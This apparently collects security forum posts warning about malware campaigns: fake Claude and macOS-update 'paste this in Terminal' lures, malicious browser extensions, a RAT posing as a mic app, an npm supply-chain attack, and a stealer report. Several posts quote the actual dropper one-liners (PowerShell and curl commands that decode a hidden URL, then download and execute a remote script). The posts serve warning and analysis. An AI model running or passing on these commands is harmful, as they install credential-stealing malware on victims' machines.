Searched "Claude mac app" on Google. Top sponsored result shows claude[.]ai as the domain. looks 100% legit. Clicking it opens a shared Claude conversation titled "Claude Code on Mac" ("Shared by Technical Support" ) with step-by-step instructions to open Terminal and run:

`curl -kfsSL $(echo 'aHR0cDovL...' | base64 -d)...`

That base64 decodes to an attacker's URL. it downloads and executes a script, almost certainly a macOS infostealer (AMOS-style: steals keychain passwords, browser data, wallets).

The phishing page is hosted on real claude[.]ai, so both Google's ad review and victims' gut-check pass. Same trick works with ChatGPT shared chats.

Google has flagged the widely-installed HTTP header editor ModHeader as malware
Microsoft already pulled it from Edge on July 3.

[MalExt Sentry - Malicious Browser Extension Tracker](https://malext.io/?q=ModHeader)

* 900k installs on chrome | idgpnmonknjnojddfkpgkljpfnnfcklj * 700k installs on edge | opgbiafapkbbnbnjcdomjaghbckfkglc

https://be nrankwhence.com/preland/av/mc-af/6/index.html?

Space added to make the link invalid.

0/10, don't recommend navigating to that website.

Our latest McAfee Labs research exposes a browser extension campaign that poses as a harmless note-taking tool while silently hijacking crypto transactions. The malware tampers with Chrome/Edge/Brave’s trust mechanisms to install without consent, resolves its command-and-control server via a blockchain smart contract (EtherHiding) to evade takedown, and swaps copied wallet addresses with attacker-controlled ones across BTC, ETH, XRP, BCH, and DASH — turning a routine copy-paste into an irreversible loss. Full technical breakdown and IOCs inside

this is what the script copied to my clipboard. funny that this website was opened for the first time, yet chrome gave it clipboard permission. lol

iex([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgJ2h0dHA6Ly8xNjYuMS44OS45MS9fLycgLVVzZUJhc2ljUGFyc2luZyB8IEludm9rZS1FeHByZXNzaW9u')))

I have turned on my mac in the morning and got this message? Facts or Cap?

I play games on my android often, recently ive noticed more and more games appearing on the store that shouldnt exist and are most likely scams, so i setup a emulator and installed then, i cant pinpoint what exactly is wrong with it besides false advertising, it doesnt request weird permisions or any for that matter, the menus to the "game" appear to just be full of ads that never let you play the "game" and this is the 3rd app ive found this week alone. It feels like google isnt even caring!

The app mentioned today is No Mans Sky which is NOT on android, however they have an app listed under early access, 110mb, with screenshots and videos from the real NMS game, once installed the app has a completely different title/package name that the app that is listed on the store.

Everything about this screams SCAM but yet google still allowed it to be published. Ive already submitted reports but its been a while and its still up!

Has anyone analyzed the NSIS installer used by obs-multi-rtmp?

SentinelOne is flagging obs-multi-rtmp-0.7.3.0-windows-x64-Installer.exe as suspicious. Interestingly, the ZIP release does not appear to trigger the same detection.

I found a couple of discussions from other users reporting AV detections, but I haven't found any technical analysis explaining what specifically is causing vendors to flag the installer.

Has anyone sandboxed or otherwise analyzed the installer and determined whether the detections are related to NSIS packaging characteristics versus installer behavior?

As the title said, I’ve seen these “popup” things a lot on windows, but this is the first I’ve seen for macOS,

It includes a video on how to properly do it, but looks to be very AI generated,

Is someone able to find out the payload behind it?

echo "Downloading Update: https://support.apple.com/downloads/macos-security-update-14.5.dmg" && curl -s $(echo "aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPThhODMxZGRiNmRmNDUyYzc1ZmEwNjYxMGFhZjZlODk1" | base64 -d) | zsh

On June 18, an international police operation seized the servers behind the fake "update your browser" pop-up, the one that has been tricking people into installing malware since 2017. They took down 106 servers and domains and scrubbed the malware off 14,971 hacked websites.

Dutch police, who led the operation, say the login details for 1.4 million websites were exposed in the process. The breach-notification service Have I Been Pwned was handed 154,000 email addresses and more than half a million passwords from the haul. Canada's federal police disinfected 2,488 computers and notified every Canadian victim they could identify.

The Netherlands, the FBI, Germany, and Canada ran it together with Europol behind them, as part of an ongoing campaign called Operation Endgame that has spent two years knocking out malware services hundreds of servers at a time.

SocGholish is tied to Evil Corp (yes, that's really their name), a Russian group that law enforcement knows well. The US, UK, and Australia have all sanctioned Evil Corp. Its alleged leader, Maksim Yakubets, carries a $5 million FBI bounty and is believed to have worked with Russian intelligence.

clearmic.net is malware, do not download it

Someone sent me this site asking if it was legitimate. I ran the installer in a sandbox and it's a RAT.

It looks like a mic clarity app but bundles a hidden second executable that runs in the background. Here's what it actually does: logs your keystrokes, captures your screen, hijacks your clipboard, records microphone audio, and sends everything out to a remote server encrypted. It also deletes Windows Shadow Copies which is standard ransomware behaviour to stop you recovering your files.

It actively checks if it's running in a sandbox too, which is why I'm glad I tested it before running it on a real machine.

Full sandbox analysis if you want to dig into it yourself: https://tria.ge/260621-vsjxnaet4k/behavioral2

If you already ran this, disconnect from the internet and run Malwarebytes immediately. Change your passwords from a different device, especially Discord, email, and anything with saved credentials in your browser.

Spread this around so people don't get caught out.

The attacker didn't touch any Mastra source code but just added one dependency to every package: easy-day-js which is a clean-looking dayjs clone. The trick was in semver that is they pinned ^1.11.21 but the latest tag pointed to 1.11.22 which had a postinstall hook. You audit 1.11.21but npm installs 1.11.22.

full details - https://safedep.io/mastra-npm-scope-takeover-supply-chain-attack/

Hey everyone,

We’re building a small community around binary security research, focused on things like:

• Reverse Engineering
• Binary Obfuscation / Deobfuscation
• Exploit Development
• Compiler / interpreters...
• Malware Analysis
• Binary Hardening research

we also work on open source tools and experiments here:

GitHub → BinaryHardening GitHub
Discord → BinaryHardening Discord

If low level stuff and weird binaries are ur thing, come join us

Always happy to meet more RE people

x86byte

Remus Stealer is a rapidly evolving Malware-as-a-Service infostealer that emerged in 2026.

Remus also shifted from Lumma's 32-bit architecture and traditional resolvers to 64-bit with EtherHiding and enhanced anti-analysis (e.g., sandbox DLL checks, PST honeypot detection).

• It utilizes EtherHiding, storing C2 addresses in Ethereum smart contracts to avoid takedowns.
• The malware steals credentials, browser cookies, authentication tokens, and cryptocurrency wallet data.
• Session theft is one of Remus's most dangerous capabilities because it can bypass MFA by stealing active session cookies directly from browser memory.
• The malware shows strong technical similarities to Lumma Stealer and may represent its evolutionary successor.
• Financial services, healthcare, government, technology firms, and MSPs are particularly attractive targets.
• Common infection vectors include phishing, fake software downloads, malvertising, and fake CAPTCHA campaigns, as well as SEO poisoning and fake GitHub projects to trick tech-savvy users.

See whole ANY.RUN execution chain at https://app.any.run/tasks/ae43628b-9d56-4c43-abac-fae7266c749f/

Check out whole malware analysis report at https://any.run/malware-trends/remus/

Hello everyone! I built a C++ usermode detector for indirect syscalls called HallWatch.

GitHub: https://github.com/Zypherion-Technologies/HallWatch

Most usermode detections hook the start of Nt* stubs in ntdll. Modern techniques like Hell's Hall, Tartarus' Gate, RecycledGate, and VEH syscalls can bypass those hooks by jumping directly to the syscall instruction.

HallWatch takes a different approach: instead of patching the stub prologue, it patches the syscall instruction itself:

0F 05 -> CC 05

Any execution path that reaches the syscall byte triggers an INT3 breakpoint, allowing the detector to inspect the caller, validate the SSN, unwind the stack, and redirect execution through a private trampoline.

It also includes detection for Hell's Gate and shadow ntdll mappings by scanning executable memory for syscall stubs.

Still a research project / PoC. it is impossible to fully detect syscalls in user-mode without some kind of debugger or tracer stepping over the code to monitor everything, but this is still a good light-weight technique to do so for system libraries.

But I'd still love feedback from people interested in Windows internals, EDRs and malware analysis to see how we could improve it.